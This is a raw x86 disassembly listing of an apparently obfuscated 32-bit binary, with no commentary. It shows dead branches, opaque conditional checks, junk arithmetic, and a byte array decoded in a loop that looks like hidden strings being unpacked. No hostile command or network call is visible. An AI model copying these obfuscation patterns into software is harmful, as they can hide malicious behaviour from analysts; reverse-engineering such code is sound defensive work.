xor edx, edx
mov ecx, dword [ebp - 0x5e8]
call fcn.1003069e
pop ecx
mov dword [ebp - 0x5cc], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x994]
call fcn.10016e9e
mov dword [ebp - 0x284], 0xffffffff
mov dword [ebp - 0x5c], 0x905d
mov dword [ebp - 0x458], 0xffffffff
mov dword [ebp - 0x40], 0x67f6a191
mov dword [ebp - 0xdc], 0x6c56d20a
mov dword [ebp - 0xcc], 0x2fc53d8b
mov dword [ebp - 0x8c4], 1
mov dword [ebp - 0x468], 0xfffa
mov dword [ebp - 0x134], 0
jmp 0x100498b7
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 3
jge 0x100498d3
mov eax, dword [ebp - 0x134]
mov dword [ebp + eax*4 - 0x8ec], 0x4f77722a
jmp 0x100498aa
mov eax, dword [ebp - 0x284]
mov ecx, dword [ebp - 0x5c]
imul ecx, dword [ebp - 0x5c]
sub eax, ecx
je 0x10049b4f
mov dword [ebp - 0xa4], 0xffffffff
mov dword [ebp - 0x840], 0xfc331464
mov dword [ebp - 0x8ac], 0xfffffffb
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x848], eax
mov eax, dword [ebp - 0x5c]
neg eax
jne 0x10049925
mov dword [ebp - 0x370], 1
jmp 0x1004992c
and dword [ebp - 0x370], 0
cmp dword [ebp - 0x5c], 0xb0121307
jbe 0x10049941
mov dword [ebp - 0x448], 1
jmp 0x10049948
and dword [ebp - 0x448], 0
cmp dword [ebp - 0x448], 2
jle 0x1004995d
mov dword [ebp - 0x360], 1
jmp 0x10049964
and dword [ebp - 0x360], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x360], eax
je 0x1004997e
mov dword [ebp - 0x4c0], 1
jmp 0x10049985
and dword [ebp - 0x4c0], 0
mov eax, dword [ebp - 0x4c0]
sub eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0xa4]
jge 0x100499a5
mov dword [ebp - 0x368], 1
jmp 0x100499ac
and dword [ebp - 0x368], 0
cmp dword [ebp - 0x368], 0xfffffffa
je 0x100499c1
mov dword [ebp - 0x450], 1
jmp 0x100499c8
and dword [ebp - 0x450], 0
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0x450]
jle 0x100499e2
mov dword [ebp - 0x510], 1
jmp 0x100499e9
and dword [ebp - 0x510], 0
mov eax, dword [ebp - 0x370]
cmp eax, dword [ebp - 0x510]
jg 0x10049a03
mov dword [ebp - 0x29c], 1
jmp 0x10049a0a
and dword [ebp - 0x29c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x29c]
mov dword [ebp + eax - 0x8ec], ecx
cmp dword [ebp - 0x29c], 0
ja 0x10049a32
mov dword [ebp - 0x378], 1
jmp 0x10049a39
and dword [ebp - 0x378], 0
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0x458]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add eax, 6
imul eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0x5c]
jle 0x10049a6c
mov dword [ebp - 0x380], 1
jmp 0x10049a73
and dword [ebp - 0x380], 0
mov eax, dword [ebp - 0x5c]
imul eax, dword [ebp - 0x380]
cmp eax, dword [ebp - 0xdc]
jge 0x10049a91
mov dword [ebp - 0x4c8], 1
jmp 0x10049a98
and dword [ebp - 0x4c8], 0
cmp dword [ebp - 0x4c8], 0x71cc
jge 0x10049ab0
mov dword [ebp - 0x388], 1
jmp 0x10049ab7
and dword [ebp - 0x388], 0
mov eax, dword [ebp - 0x388]
sub eax, dword [ebp - 0x284]
sub eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x5c]
jge 0x10049ad7
mov dword [ebp - 0x460], 1
jmp 0x10049ade
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x460], eax
jge 0x10049afe
mov eax, 0x1260e2ef
test eax, eax
je 0x10049afe
mov dword [ebp - 0x390], 1
jmp 0x10049b05
and dword [ebp - 0x390], 0
mov eax, dword [ebp - 0x390]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x40], 2
jmp 0x10049b21
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jl 0x10049b4a
mov dword [ebp - 0x8d4], 0
mov dword [ebp - 0x500], 6
mov eax, dword [ebp - 0x500]
inc eax
mov dword [ebp - 0x500], eax
jmp 0x10049b1a
jmp 0x10049cb0
mov dword [ebp - 0x16c], 0
jmp 0x10049b68
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 3
jge 0x10049b84
mov eax, dword [ebp - 0x16c]
mov dword [ebp + eax*4 - 0x8f8], 0
jmp 0x10049b5b
mov dword [ebp - 0xdc], 0
jmp 0x10049b9d
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x16
jle 0x10049cb0
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0xcc], 2
jmp 0x10049bcd
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
jl 0x10049bf9
mov byte [ebp - 0x8f], 0
movzx eax, byte [ebp - 0x8f]
test eax, eax
je 0x10049bf7
push 0x1a19
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
jmp 0x10049bc0
mov dword [ebp - 0x40], 0xfffffff9
jmp 0x10049c09
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x19
jl 0x10049cab
mov eax, dword [ebp - 0x13c]
cmp dword [ebp - 0x13c], eax
jl 0x10049c2d
mov dword [ebp - 0x398], 1
jmp 0x10049c34
and dword [ebp - 0x398], 0
cmp dword [ebp - 0x13c], 3
jne 0x10049c49
mov dword [ebp - 0x3a0], 1
jmp 0x10049c50
and dword [ebp - 0x3a0], 0
mov eax, dword [ebp - 0x398]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp - 0x468]
sub eax, dword [ebp - 0x3a0]
cmp eax, dword [ebp - 0x13c]
je 0x10049c7c
mov dword [ebp - 0x4d0], 1
jmp 0x10049c83
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x284]
imul ecx, dword [ebp - 0x4d0]
lea eax, [eax + ecx + 0xe313]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x8f8], eax
jmp 0x10049c02
jmp 0x10049b90
and dword [ebp - 0x17c], 0
jmp 0x10049cc6
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0xb
jae 0x10049cdf
mov eax, dword [ebp - 0x17c]
mov byte [ebp + eax - 0x544], 0
jmp 0x10049cb9
mov dword [ebp - 0x70], 0xe83c773
mov dword [ebp - 0x858], 0xc9ebf495
mov dword [ebp - 0x144], 0
jmp 0x10049d09
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 3
jge 0x10049d25
mov eax, dword [ebp - 0x144]
mov dword [ebp + eax*4 - 0x9e8], 0
jmp 0x10049cfc
mov dword [ebp - 0x70], 0
jmp 0x10049d35
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 2
jg 0x10049d80
mov dword [ebp - 0x590], 0xfff8
mov dword [ebp - 0x5f0], 0xd416db6d
cmp dword [ebp - 0x590], 0
je 0x10049d64
mov dword [ebp - 0x5f0], 1
jmp 0x10049d7e
mov byte [ebp - 0x78], 0
movzx eax, byte [ebp - 0x78]
test eax, eax
je 0x10049d7e
push 0xfec
push 1
call fcn.1004687f
pop ecx
pop ecx
jmp 0x10049d2e
mov dword [ebp - 0x70], 9
jmp 0x10049d90
mov eax, dword [ebp - 0x70]
dec eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0xfffffff8
jg 0x10049e94
mov dword [ebp - 0x6c0], 0xfffffffd
mov dword [ebp - 0x6bc], 0xfffffffd
mov dword [ebp - 0x6b8], 0xfffffffd
mov dword [ebp - 0x6b4], 0xfffffffd
lea ecx, [ebp - 0x295]
call fcn.10008913
push eax
lea eax, [ebp - 0x6b0]
push eax
lea eax, [ebp - 0x6c0]
push eax
lea ecx, [ebp - 0x90c]
call fcn.10016fbc
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x904]
call fcn.10016f7e
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x598], 0x3a00d0e7
mov dword [ebp - 0x188], 0
jmp 0x10049e21
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 2
jge 0x10049e3d
mov eax, dword [ebp - 0x188]
mov dword [ebp + eax*4 - 0x97c], 4
jmp 0x10049e14
push 0x4432
push 0x675c
push 0x3149
push 1
call fcn.100468b3
add esp, 0x10
push 1
push 0x14ec
push 0x363b
push 0x61d7
push 0x3d52
lea eax, [ebp - 0x598]
push eax
push 0x10e2
call fcn.1004691a
add esp, 0x1c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x904]
call fcn.10016fa8
jmp 0x10049d89
mov byte [ebp - 0x1c0], 9
mov byte [ebp - 0x1bf], 0x38
mov byte [ebp - 0x1be], 5
mov byte [ebp - 0x1bd], 1
mov byte [ebp - 0x1bc], 6
mov byte [ebp - 0x1bb], 8
mov byte [ebp - 0x1ba], 0
mov byte [ebp - 0x1b9], 8
mov byte [ebp - 0x1b8], 1
mov byte [ebp - 0x1b7], 7
mov byte [ebp - 0x1b6], 2
mov byte [ebp - 0x1b5], 1
mov byte [ebp - 0x1b4], 3
mov byte [ebp - 0x1b3], 5
mov byte [ebp - 0x1b2], 4
mov byte [ebp - 0x1b1], 6
mov byte [ebp - 0x1b0], 7
mov byte [ebp - 0x1af], 2
mov byte [ebp - 0x1ae], 8
mov byte [ebp - 0x1ad], 6
mov byte [ebp - 0x1ac], 0x22
mov byte [ebp - 0x1ab], 0x1f
mov byte [ebp - 0x1aa], 0xb9
mov byte [ebp - 0x1a9], 0x9c
mov byte [ebp - 0x1a8], 0xa3
mov byte [ebp - 0x1a7], 0xda
mov byte [ebp - 0x1a6], 0x83
mov byte [ebp - 0x1a5], 0xc9
mov byte [ebp - 0x1a4], 0xe3
mov byte [ebp - 0x1a3], 0x88
mov byte [ebp - 0x1a2], 0xf0
mov byte [ebp - 0x1a1], 0x6e
mov byte [ebp - 0x1a0], 0x53
mov byte [ebp - 0x19f], 0x4b
mov byte [ebp - 0x19e], 0x81
mov byte [ebp - 0x19d], 0x83
mov byte [ebp - 0x19c], 0x52
mov byte [ebp - 0x19b], 0xd9
mov byte [ebp - 0x19a], 0xd5
mov byte [ebp - 0x199], 0x18
mov byte [ebp - 0x198], 0x24
mov byte [ebp - 0x197], 0x59
mov byte [ebp - 0x196], 0xed
mov byte [ebp - 0x195], 0xa1
mov byte [ebp - 0x194], 0x51
mov byte [ebp - 0x193], 0x4f
mov byte [ebp - 0x192], 0xa2
mov byte [ebp - 0x191], 0x1e
mov byte [ebp - 0x190], 0x76
mov byte [ebp - 0x18f], 0x3f
mov byte [ebp - 0x18e], 0x95
mov byte [ebp - 0x18d], 0xd9
mov byte [ebp - 0x18c], 0x69
mov byte [ebp - 0x18b], 0x4e
mov byte [ebp - 0x18a], 0x23
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x1c0]
or eax, 8
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x1c0]
and ecx, 8
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x1c0]
mov byte [ebp + ecx - 0x538], al
mov dword [ebp - 0x1c], 2
and dword [ebp - 0xb4], 0
jmp 0x1004a066
mov eax, dword [ebp - 0x1c]
inc eax
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x37
jae 0x1004a158
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1c0]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x1c], eax
jne 0x1004a0b0
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x1c0]
inc eax
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x1c0]
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x1c], eax
jmp 0x1004a05e
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x1bf]
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0xb4]
movzx ecx, byte [ebp + ecx - 0x1c2]
movsx ecx, byte [ebp + ecx - 0x538]
add eax, ecx
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0x1bf]
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0xb4]
movzx edx, byte [ebp + edx - 0x1c2]
movsx edx, byte [ebp + edx - 0x538]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0x1bf]
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0xb4]
movzx edx, byte [ebp + edx - 0x1c2]
movsx edx, byte [ebp + edx - 0x538]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0x1c0]
mov byte [ebp + ecx - 0x538], al
lea eax, [ebp - 0xb4]
push eax
push 0x27d3
push 0x7b67
push 0
call fcn.100474de
add esp, 0x10
jmp 0x1004a05e
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x538], 0
mov dword [ebp - 0x600], 6
mov dword [ebp - 0x184], 0xfffffff6
mov dword [ebp - 0x5a0], 0
mov dword [ebp - 0x480], 1
mov dword [ebp - 0x5f8], 0
mov dword [ebp - 0x2ac], 0xfb1c0380
mov dword [ebp - 0x28c], 0xfffffffd
mov dword [ebp - 0x3c0], 9
push 1
lea ecx, [ebp - 0x778]
call fcn.10016f3c
mov dword [ebp - 4], 0xb
mov dword [ebp - 0xec], 0
jmp 0x1004a1e3
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 1
jge 0x1004a1ff
mov eax, dword [ebp - 0xec]
mov dword [ebp + eax*4 - 0x3d0], 0x37b1891f
jmp 0x1004a1d6
lea eax, [ebp - 0x778]
push eax
push 0
lea eax, [ebp - 0xec]
push eax
call fcn.10047bd4
add esp, 0xc
mov eax, dword [ebp - 0x2ac]
dec eax
mov dword [ebp - 0x2ac], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3d0], 0
jne 0x1004a246
cmp dword [ebp - 0x184], 0
jne 0x1004a246
and dword [ebp - 0x3a8], 0
jmp 0x1004a250
mov dword [ebp - 0x3a8], 1
mov eax, dword [ebp - 0x2ac]
cmp eax, dword [ebp - 0x3a8]
jl 0x1004a26a
mov dword [ebp - 0x470], 1
jmp 0x1004a271
and dword [ebp - 0x470], 0
cmp dword [ebp - 0x470], 0xf1edd1ed
jb 0x1004a289
mov dword [ebp - 0x3b0], 1
jmp 0x1004a290
and dword [ebp - 0x3b0], 0
mov eax, dword [ebp - 0x28c]
cmp dword [ebp - 0x3b0], eax
jne 0x1004a2aa
mov dword [ebp - 0x528], 1
jmp 0x1004a2b1
and dword [ebp - 0x528], 0
mov eax, dword [ebp - 0x5f8]
cmp dword [ebp - 0x528], eax
je 0x1004a2cb
mov dword [ebp - 0x3b8], 1
jmp 0x1004a2d2
and dword [ebp - 0x3b8], 0
cmp dword [ebp - 0x3b8], 1
jg 0x1004a2e7
mov dword [ebp - 0x478], 1
jmp 0x1004a2ee
and dword [ebp - 0x478], 0
mov eax, dword [ebp - 0x478]
mov dword [ebp - 0x3c0], eax
mov eax, dword [ebp - 0x3c0]
sub eax, dword [ebp - 0x184]
imul esi, eax, 0
push 0
lea ecx, [ebp - 0x778]
call fcn.10016fad
cmp esi, dword [eax]
je 0x1004a326
mov dword [ebp - 0x4d8], 1
jmp 0x1004a32d
and dword [ebp - 0x4d8], 0
mov eax, dword [ebp - 0x5a0]
cmp dword [ebp - 0x4d8], eax
jle 0x1004a347
mov dword [ebp - 0x3c8], 1
jmp 0x1004a34e
and dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0x480], eax
imul eax, dword [ebp - 0x480], 0xafc1
mov dword [ebp - 0x28c], eax
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x184], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3d0]
mov dword [ebp - 0x8b4], eax
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x868], eax
xor eax, eax
inc eax
je 0x1004a3b2
lea eax, [ebp - 0x600]
push eax
push 0x3746
push 0
call fcn.1004746c
add esp, 0xc
jmp 0x1004a3d4
mov byte [ebp - 0x7a], 0
movzx eax, byte [ebp - 0x7a]
test eax, eax
je 0x1004a3d4
push 0x1154
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x778]
call fcn.10016fa8
lea eax, [ebp - 0x538]
push eax
lea ecx, [ebp - 0xa00]
call fcn.10024b17
mov dword [ebp - 0x5a8], eax
mov eax, dword [ebp - 0x5a8]
mov dword [ebp - 0x608], eax
mov dword [ebp - 4], 0xc
push 0xa
xor edx, edx
mov ecx, dword [ebp - 0x608]
call fcn.1003069e
pop ecx
mov dword [ebp - 0x624], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa00]
call fcn.10016e9e
and dword [ebp - 0x108], 0
jmp 0x1004a449
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0xb
jae 0x1004a462
mov eax, dword [ebp - 0x108]
mov byte [ebp + eax - 0x538], 0
jmp 0x1004a43c
push 2
lea ecx, [ebp - 0x2c0]
call fcn.10016f3c
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x2a4], 0x81ff29ac
mov dword [ebp - 0x4e0], 1
mov dword [ebp - 0x88], 0xfffffff9
mov dword [ebp - 0x150], 0
jmp 0x1004a4ad
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 2
jge 0x1004a4cf
push dword [ebp - 0x150]
lea ecx, [ebp - 0x2c0]
call fcn.10016fad
mov dword [eax], 0xd8f8
jmp 0x1004a4a0
push 0
lea ecx, [ebp - 0x2c0]
call fcn.10016fad
cmp dword [eax], 0x23b1a956
jge 0x1004a4f0
mov dword [ebp - 0x488], 1
jmp 0x1004a4f7
and dword [ebp - 0x488], 0
push 0
lea ecx, [ebp - 0x2c0]
call fcn.10016fad
mov eax, dword [eax]
mov dword [ebp - 0x2a4], eax
push 0
lea ecx, [ebp - 0x2c0]
call fcn.10016fad
mov esi, eax
push 1
lea ecx, [ebp - 0x2c0]
call fcn.10016fad
mov ecx, dword [esi]
cmp ecx, dword [eax]
jg 0x1004a53a
mov dword [ebp - 0x508], 1
jmp 0x1004a541
and dword [ebp - 0x508], 0
imul eax, dword [ebp - 0x508], 0
cmp eax, 0xb4ef
jg 0x1004a55b
mov dword [ebp - 0x3d8], 1
jmp 0x1004a562
and dword [ebp - 0x3d8], 0
push 0
lea ecx, [ebp - 0x2c0]
call fcn.10016fad
mov eax, dword [eax]
cmp eax, dword [ebp - 0x3d8]
jl 0x1004a585
mov dword [ebp - 0x3e0], 1
jmp 0x1004a58c
and dword [ebp - 0x3e0], 0
mov eax, dword [ebp - 0x488]
imul eax, dword [ebp - 0x3e0]
imul esi, eax, 0x7b72
push 0
lea ecx, [ebp - 0x2c0]
call fcn.10016fad
add esi, dword [eax]
mov dword [ebp - 0x4e0], esi
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
je 0x1004a636
mov dword [ebp - 0x5b0], 0xb168f928
mov dword [ebp - 0x610], 0xf27a4129
mov dword [ebp - 0x5b8], 0
mov byte [ebp - 0x73], 0
movzx eax, byte [ebp - 0x73]
test eax, eax
je 0x1004a60b
push 0x12a6
push 0
push 0
push 0
push 0x1dbf
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0
push 0x67e1
lea eax, [ebp - 0x5b0]
push eax
lea eax, [ebp - 0x610]
push eax
push 0x3e45
lea eax, [ebp - 0x5b8]
push eax
call fcn.1004840f
add esp, 0x18
jmp 0x1004a688
mov dword [ebp - 0x620], 3
mov dword [ebp - 0x5c4], 0
mov dword [ebp - 0x618], 0xfffffffc
lea eax, [ebp - 0x2c0]
push eax
lea eax, [ebp - 0x618]
push eax
lea eax, [ebp - 0x2a4]
push eax
lea eax, [ebp - 0x620]
push eax
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x5c4]
push eax
push 1
call fcn.10046a18
add esp, 0x1c
mov dword [ebp - 0x88], 0
jmp 0x1004a6a1
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jg 0x1004a6fd
mov byte [ebp - 0x8d], 0
lea eax, [ebp - 0x8d]
push eax
push 1
push 0x5cb5
push 0x2c5e
call fcn.10046bd8
add esp, 0x10
lea eax, [ebp - 0x2a4]
push eax
push 0x4d4
push 0
push 0x7fe6
push 0x6606
push 0xbd2
push 0x1567
push 0x7802
call fcn.1004783a
add esp, 0x20
jmp 0x1004a694
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c0]
call fcn.10016fa8
push dword [ebp - 0x624]
push dword [ebp - 0x5cc]
call fcn.10042e2b
pop ecx
pop ecx
mov dword [ebp - 0x304], eax
push 3
lea ecx, [ebp - 0x718]
call fcn.10016f3c
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x8cc], 0x158d32ff
mov dword [ebp - 0x878], 5
mov dword [ebp - 0x8bc], 0x770a77c8
mov dword [ebp - 0x888], 0x2fafd11d
mov dword [ebp - 0x89c], 0
mov dword [ebp - 0x810], 0xadf62858
push 3
lea ecx, [ebp - 0x864]
call fcn.10016f3c
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x3e8], 1
lea eax, [ebp - 0x718]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0x3ca5
push 0xe5
push 1
push 0x2ac9
push 0x6227
push 0x5c0f
push 0x6672
call fcn.10046c58
add esp, 0x24
mov dword [ebp - 0x4c], 0
jmp 0x1004a7d3
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 4
jge 0x1004a7e9
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0xa38], 0x58a835a
jmp 0x1004a7cc
mov dword [ebp - 0x4c], 0
jmp 0x1004a7f9
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 3
jge 0x1004a812
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x864]
call fcn.10016fad
or dword [eax], 0xffffffff
jmp 0x1004a7f2
push 0x49c4
lea eax, [ebp - 0x718]
push eax
push 1
push 0x6941
call fcn.10046e62
add esp, 0x10
mov eax, dword [ebp - 0x3e8]
inc eax
mov dword [ebp - 0x3e8], eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x864]
call fcn.10016fa8
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x718]
call fcn.10016fa8
push 0x2c74
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0x304]
push eax
push 0x200c
push 1
call fcn.10046ee5
add esp, 0x14
mov dword [ebp - 0x38], 0x9b55bb2c
mov dword [ebp - 0x54], 0xfbd6c3f0
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0x174], 0
jmp 0x1004a8ab
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 4
jge 0x1004a8c7
mov eax, dword [ebp - 0x174]
mov dword [ebp + eax*4 - 0x7e8], 1
jmp 0x1004a89e
mov dword [ebp - 0x38], 0x1b
jmp 0x1004a8d7
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jg 0x1004a919
mov dword [ebp - 0x654], 0xa23f
push 1
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0xd4]
push eax
lea eax, [ebp - 0x654]
push eax
push 0x2346
push 0xa93
push 0x98c
push 0x4994
call fcn.10046f54
add esp, 0x20
jmp 0x1004a8d0
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x38], 0xfffe
jbe 0x1004a93a
mov dword [ebp - 0x490], 1
jmp 0x1004a941
and dword [ebp - 0x490], 0
mov dword [ebp - 0xd4], 1
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x490], eax
jge 0x1004a965
mov dword [ebp - 0x3f0], 1
jmp 0x1004a96c
and dword [ebp - 0x3f0], 0
cmp dword [ebp - 0x3f0], 0xc6f44469
ja 0x1004a984
mov dword [ebp - 0x5d4], 1
jmp 0x1004a98b
and dword [ebp - 0x5d4], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x7f0], eax
cmp dword [ebp - 0x54], 1
jne 0x1004a9ac
cmp dword [ebp - 0x54], 0
je 0x1004a9ac
mov dword [ebp - 0x518], 1
jmp 0x1004a9b3
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x518]
cmp eax, dword [ebp - 0x38]
jne 0x1004a9cd
mov dword [ebp - 0x3f8], 1
jmp 0x1004a9d4
and dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x3f8], eax
jne 0x1004a9eb
mov dword [ebp - 0x498], 1
jmp 0x1004a9f2
and dword [ebp - 0x498], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x498], eax
jle 0x1004aa09
mov dword [ebp - 0x62c], 1
jmp 0x1004aa10
and dword [ebp - 0x62c], 0
cmp dword [ebp - 0x54], 0
cmp dword [ebp - 0x38], 0
jne 0x1004aa2c
cmp dword [ebp - 0x54], 0
je 0x1004aa2c
mov dword [ebp - 0x2c8], 1
jmp 0x1004aa33
and dword [ebp - 0x2c8], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x2c8], eax
jge 0x1004aa4a
mov dword [ebp - 0x2cc], 1
jmp 0x1004aa51
and dword [ebp - 0x2cc], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x2cc], eax
jle 0x1004aa71
cmp dword [ebp - 0xd4], 0
je 0x1004aa71
mov dword [ebp - 0x2d4], 1
jmp 0x1004aa78
and dword [ebp - 0x2d4], 0
mov eax, dword [ebp - 0x2d4]
sub eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x38]
jl 0x1004aa92
mov dword [ebp - 0x2dc], 1
jmp 0x1004aa99
and dword [ebp - 0x2dc], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x7e8]
cmp dword [ebp - 0x2dc], eax
jl 0x1004aab9
mov dword [ebp - 0x2e4], 1
jmp 0x1004aac0
and dword [ebp - 0x2e4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x7e8]
cmp dword [ebp - 0x2e4], eax
jg 0x1004aae0
mov dword [ebp - 0x2ec], 1
jmp 0x1004aae7
and dword [ebp - 0x2ec], 0
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x2ec]
cmp eax, 0xffffffff
jne 0x1004ab01
mov dword [ebp - 0x2f4], 1
jmp 0x1004ab08
and dword [ebp - 0x2f4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x7e8]
add eax, dword [ebp - 0x2f4]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x7e8]
jge 0x1004ab34
mov dword [ebp - 0x2fc], 1
jmp 0x1004ab3b
and dword [ebp - 0x2fc], 0
mov eax, dword [ebp - 0x2fc]
mov dword [ebp - 0x38], eax
push 0xf
push 5
call fcn.10042e2b
pop ecx
pop ecx
add eax, dword [ebp - 0x304]
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 4], eax
push 2
lea ecx, [ebp - 0x784]
call fcn.10016f3c
mov dword [ebp - 4], 0x10
lea eax, [ebp - 0x7ec]
push eax
push 1
lea eax, [ebp - 0x784]
push eax
push 0x6d2e
push 0x11f0
call fcn.10047065
add esp, 0x14
mov byte [ebp - 0x75], 0
movzx eax, byte [ebp - 0x75]
test eax, eax
je 0x1004abab
push 0
push 0x6010
call fcn.1004848f
pop ecx
pop ecx
push 0
lea ecx, [ebp - 0x784]
call fcn.10016fad
mov dword [eax], 0xe3556834
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x784]
call fcn.10016fa8
and dword [ebp - 0xd0], 0
push 1
lea ecx, [ebp - 0x7b4]
call fcn.10016f3c
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x67c], 0xffffffff
push 4
lea ecx, [ebp - 0x730]
call fcn.10016f3c
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x5dc], 0xfffffffa
